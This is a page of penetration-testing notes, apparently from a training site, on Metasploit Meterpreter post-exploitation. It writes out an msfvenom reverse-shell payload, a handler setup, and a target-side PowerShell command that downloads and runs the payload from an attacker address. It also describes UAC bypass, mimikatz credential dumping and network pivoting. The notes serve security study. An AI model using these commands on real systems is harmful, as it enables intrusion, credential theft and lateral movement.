search

Post-Exploitation

hashtag
Meterpreter

# Create a non-staged payload
$ msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.45.232 LPORT=443 -f exe -o met.exe

# Setup listener
$ sudo msfconsole -q
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter_reverse_https
msf6 > set LHOST tun0
msf6 > set LPORT 443
msf6 > run
# Download and execute the payload on the target
$ nc 192.168.241.223 4444
Microsoft Windows [Version 10.0.22000.1219]
(c) Microsoft Corporation. All rights reserved.

C:\Users\luiza>powershell iwr -uri http://192.168.45.232/met.exe -OutFile met.exe
powershell iwr -uri http://192.168.45.232/met.exe -OutFile met.exe

C:\Users\luiza>.\met.exe
.\met.exe

hashtag
Inactivity Check

Determines user inactivity; useful for stealth.

hashtag
Privilege Escalation

Attempts SYSTEM-level access using techniques like Named Pipe Impersonation leveraging the SeImpersonatePrivilege and SeDebugPrivilege.

hashtag
Process Migration

Moves session to another process to maintain stealth/persistence. Migration is only possible to processes with equal or lower security levels.

If no suitable existing process is available, it can start a hidden process and migrate into it.

hashtag
Modules

hashtag
UAC Bypass

A typical client-side attack usually provides only an unprivileged shell. However, when the target user is a local administrator, we can attempt to elevate the shell's integrity level by bypassing User Account Control (UAC).

The process below (5656) is running with a medium integrity level, meaning administrative actions would still be blocked by UAC.

hashtag
Kiwi

With elevated privileges with can also load MSF's extensions, such as kiwi, a wrapper around mimikatz. The creds_msv extracts LM and NTLM hashes.

hashtag
Pivoting

Dual-homed machines can act as bridges between networks.

hashtag
Route add

We can manually add a route to the second network (172.16.16.0/24) through the existing session in order to enable MSF to route traffic through a compromised host. This allows Metasploit to "see" and interact with devices on that internal network.

Routes in Metasploit let you scan and exploit targets behind firewalls or NAT by tunneling through a compromised host.

With the route added, we can now use MSF modules to compromise the second target. The bind_tcp payload is used because the target can’t initiate outbound traffic, but our attacking machine can connect to it instead.

hashtag
Autoroute

Instead of adding routes manually, the autoroute module automatically adds all routable subnets from the compromised host.

hashtag
Socks_proxy

With a route in place, the socks_proxy module sets up a SOCKS5 proxy server on the attacker's machine. This enables tunneling through compromised host using proxychains, which lets any external app (like RDP clients) act as if it’s inside the internal network.

SOCKS proxy + proxychains = full tool access to pivoted networks.

hashtag
Portfwd

Instead of a SOCKS proxy, we can forwards traffic from the attacker's machine directly to the internal target. This maps an internal service to a local port, allowing direct tool access.

PreviousPayloadsNextResource Scripts

Last updated